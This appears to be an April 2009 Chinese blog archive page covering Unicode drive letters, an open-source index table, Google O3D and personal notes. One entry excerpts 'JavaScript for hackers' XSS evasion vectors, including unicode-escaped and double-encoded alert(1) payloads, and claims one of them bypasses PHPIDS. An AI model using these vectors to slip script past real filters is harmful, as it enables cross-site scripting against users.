Windows下盘符只能从A:，B:，C:，D:，一直到Z:，其实可以用Unicode做盘符的。
受reddit一位网友启发，我就把所有MP3丢 ☭:\ 盘下了。咩哈哈。。。AV都丢 Ѡ:\ 盘也是个不错的主意。恩恩～～～
实现方法很简单，修改注册表HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices即可。
2009年04月 存档
Unicode盘符
2009年04月29日，星期三JavaScript for hackers
2009年04月25日，星期六看到GARETHHEYES的JavaScript for hackers，摘录一些。
这人很牛的。。。他的http://www.businessinfo.co.uk/labs/上有n多exp
RegExp可以执行任意代码
'somestring'.replace(/some/,function($1){ alert(/Fuck GFW/) })
非常典型的函数式编程漏洞。嘿嘿。'XSS'.replace(/XSS/g,alert) 函数当参数传递。
Unicode转义
\u0061lert(1)
用eval('\\u'+'0061'+'lert(1)')这个方法可以轻松过PHPIDS
这个还不算很逆天的，Mozilla的那个E4X导致的escape/unescape漏洞才多
JS引擎的宽容
+alert(1)--
+alert(1)
1/alert(1)
alert(1)>>>/abc/
sla.ckers上对这方面很有研究
throw, delete语法
throw delete~typeof~alert(1)
delete alert(1)
delete~[a=alert]/delete a(1)
delete [a=alert],delete a(1)
真是把JS旮旯的语法都用上了
全局对象其实是表达式
把JS当英语自然语言描述
stop, open, print && alert(1)
javascript : /is/^{ a : ' weird ' }[' & wonderful ']/" language "
the_fun: ['never '] + stop['s']
有趣的Getters/Setters
defineSetter('x',alert); x=1;
Opera下有效
location的双重encoding
location='javascript:%61%6c%65%72%74%28%31%29'
location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'
XSS矢量生成工具
作者提供了一个XSS矢量生成工具。
衍生阅读
THE SPANNER（也是大牛）的两篇JAVASCRIPT FOR HACKERS上，下
三十年河东 三十年河西
2009年04月25日，星期六
男女与信息技术
2009年04月24日，星期五On Girls, Boys, and IT Careers
Google TechTalks April 06, 2006 Dr. Cornelia Brunner Associate Director, Center for Children & Technology Education Development Center Dr. Brunner has been involved in the research, production, and teaching of educational technology in a variety of subject areas for thirty years. In addition to conducting research projects about the relationship between learning, teaching, and technology, she has designed and implemented educational materials incorporating technologies to support inquiry-based learning and teaching in science, social studies, media literacy, and the arts. ABSTRACT Research over the past two decades has pointed to a strong, persistent, gendered difference in technological desire – in what we want from, expect of, hope for and fear about technology. These differences may be at the heart of current lack of interest in the IT professions among young women. The purpose of this talk to to illustrate some of these differences and to discuss ways in which we might invite young women who are not comfortable with the dominant discourse about technology into the IT professions by describing processes and opportunities in a language that speaks to a more “feminine” technological imagination.«
这里的男女不是指生殖性别上的男女，而是只人们概念中男女理解事情、做事的区别方式。
20年前的研究，也算一种二元论吧。从男性主义和女性主义不同的角度和观点来看IT这种讨论很有意思，technology/geek不仅仅是男性的专利。
每次看YC News，听TED或者Google TechTalks都让我感到自己是intellectual barbarian
RedHat的开源指数
2009年04月22日，星期三cnBeta上看到RedHat让GaTech做的全球开源指数调查
当然分佳节又重阳裂海南岛的行为就不多说了。重点是它的数据。
原文是鸟文比较难以理解，所以我提取出来了。直接看排名吧。越小越好。前五甲是法西德澳芬
CNTRY_NAME,CNTRY_ABBR,Act_T,Act_G,Act_I,Act_C,Env_T,Env_G,Env_I,Env_C
Algeria,dz,66,45,65,64,54,41,57,66
Argentina,ar,37,28,45,33,39,44,41,38
Australia,au,4,14,4,11,11,7,16,10
Austria,at,27,34,12,40,17,13,31,15
Bangladesh,bd,61,45,66,53,72,71,38,75
Belgium,be,17,10,18,32,18,17,22,19
Bolivia,bo,60,45,50,59,61,57,51,57
Brazil,br,12,3,43,14,45,40,65,42
Bulgaria,bg,31,26,24,53,37,36,56,37
Cameroon,cm,69,45,72,67,74,75,73,74
Canada,ca,28,34,17,16,10,11,15,5
Chile,cl,43,45,26,41,33,33,32,40
China,cn,15,6,69,4,50,70,8,59
Colombia,co,45,34,48,23,47,45,55,51
Costa Rica,cr,40,28,32,58,41,37,46,41
Croatia,hr,44,34,28,60,42,47,61,36
Czech Republic,cz,39,45,23,52,36,46,54,29
Denmark,dk,10,12,8,31,4,2,9,6
Dominican Republic,do,65,45,59,68,58,52,50,58
Ecuador,ec,59,45,49,57,48,51,33,54
Egypt,eg,58,45,63,50,49,60,26,46
Estonia,ee,8,45,5,1,21,21,49,14
Finland,fi,5,19,1,18,5,12,5,8
France,fr,1,1,25,3,15,18,18,17
Germany,de,3,4,19,5,16,14,23,18
Greece,gr,53,45,39,49,29,32,44,30
Guatemala,gu,63,45,56,64,67,59,63,68
Hungary,hu,32,45,21,19,24,22,19,31
India,in,23,14,44,8,53,54,24,67
Indonesia,id,48,28,64,43,63,56,47,66
Ireland,ie,19,32,14,9,19,19,11,24
Italy,it,11,8,20,15,22,25,34,23
Japan,jp,14,11,27,6,13,6,14,11
Jordan,jo,50,45,34,46,56,55,42,53
Kenya,kv,74,45,71,72,73,65,72,73
Latvia,lv,71,45,38,73,30,31,74,16
Lithuania,lt,47,45,40,22,35,28,71,27
Malaysia,my,26,12,36,27,31,49,21,34
Mauritius,mu,72,45,37,74,38,34,30,44
Mexico,mx,51,45,52,24,44,39,45,45
Moldova,md,75,45,58,75,34,62,2,48
Morocco,ma,68,45,67,62,69,67,60,63
Netherlands,nl,13,19,7,17,9,5,12,7
New Zealand,nz,21,45,10,13,6,9,6,9
Nigeria,ng,73,45,73,71,75,68,75,71
Norway,no,7,14,2,29,3,4,17,3
Oman,om,62,45,53,63,60,64,40,49
Pakistan,pk,38,22,68,38,71,74,39,69
Paraguay,py,55,32,60,64,68,58,70,61
Peru,pe,36,24,54,36,51,48,64,47
Philippines,ph,67,26,57,70,55,53,48,56
Poland,pl,29,34,16,35,25,29,20,25
Portugal,pt,33,24,31,48,26,23,27,32
Romania,ro,54,45,35,55,43,43,68,33
Russia,ru,42,45,47,12,27,26,59,26
Senegal,sn,64,45,70,61,70,63,58,72
Singapore,sg,16,34,3,21,14,35,1,22
Slovakia,sk,41,34,29,51,28,27,53,28
Slovenia,si,24,34,6,47,23,24,43,20
South Africa,za,30,17,46,25,52,30,67,60
South Korea,kp,20,5,41,26,12,16,10,12
Spain,es,2,2,22,10,20,20,29,21
Sri Lanka,lk,52,34,62,39,66,66,36,70
Sweden,se,18,22,11,20,1,1,4,1
Switzerland,ch,22,34,9,28,7,10,3,13
Thailand,th,25,8,51,30,59,69,28,43
Tunisia,tn,46,45,30,37,65,72,37,55
Turkey,tr,57,45,61,44,46,50,35,52
Ukraine,ua,56,34,55,56,32,15,69,39
United Kingdom,gb,6,7,15,7,8,8,13,4
United States,us,9,28,13,2,2,3,7,2
Uruguay,uy,49,45,33,42,40,38,66,35
Venezuela,ve,34,19,42,45,62,61,62,50
Vietnam,vn,35,17,75,34,64,73,25,62
Yemen,ye,70,45,74,69,57,42,52,64
做了个Spreadsheet
Google开始做游戏了
2009年04月22日，星期三
（刚写完blog这个svn的URL就更新了。看来应注明revision作为永久URL）
LOL, this is really old school shit like VRML & DirectAnimation
咋个说呢，WMF发来贺电，Silverlight发来贺电，Unity3D发来贺电，P3D发来贺电
还是要问候谷歌工程师，我日你大爷的，老子下载535KB的O3DSetup.exe，满以为就这么小巧可爱了，结果是他妈下载下来一个下载器，然后下载器自己再去慢吞吞的单线程下载O3D的真实安装包 http://dl-prcsat.google.com/o3d/0.1.34.2/o3d.msi（1.74MB） 这种bootstrapper的设计者真他妈的是三人比黄花瘦鹿喝多了。其他的不说了，就单说这个o3d.msi，解压之后发现2个可疑文件，getextras.exe（估计就是推广Google Toolbar的）和driver_blacklist.txt，后者的内容如下：
# This file contains the GUIDs of blacklisted drivers as unsigned ints in hex.
# File format:
# # comments out to the end of a line.
# Lines should be no longer than 256 characters. Still, to keep things
# simple, just put one GUID per line.
# Whitespace is ignored except in that it separates GUIDs.
# No other characters are legal.# Sample GUID [DO NOT UNCOMMENT THIS LINE]:
# 0xd7b71e3e# Actual blacklisted drivers:
不过O3D在WinXP IE+Chromium还是很争气的弹了个错误对话框
---------------------------
Microsoft Internet Explorer
---------------------------
Unsupported GPU device: \\.\DISPLAY1
Press OK to continue anyway.
---------------------------
确定 取消
---------------------------
最后我并不看好O3D。首先插件这个东西是见了就烦，虽然Google的品牌是个金字招牌了；其次地球上的3D平台已经充分多充分滥了。再次各种平台的支持也麻烦，例如手持设备。我个人觉得能够序列化在Web/RDP传输的gl指令流才是真正的3D王道。况且3D看似是2D平面的进步，实则进入了交互多媒体领域，要支持摇杆手柄LAN/WAN联机才好玩。
C++生涯不可避免的开始了
2009年04月21日，星期二毕设是STL做。最近一个东东也是ATL+DX+Boost.Asio做。。。。IT民工的生涯也就这样开始了。嘎嘎。。。把生命浪费在编译和跟踪上吧。斯米达！
不过这样也好。以后开源项目就自己折腾编译自己移植了。
政客萨科齐
2009年04月20日，星期一
Laf my Ѡ off
星航/星战/BSG/巴5/EVE/2001/星际/其他科幻太空战舰长度对比图
2009年04月18日，星期六Star Trek vs Star Wars vs Battlestar Galactica, vs Babylon 5 vs Farscape vs Eve Online vs 2001 a Space Oddity vs Lexx v Starship Troopers vs Space Quest vs More
相当的猛。。。via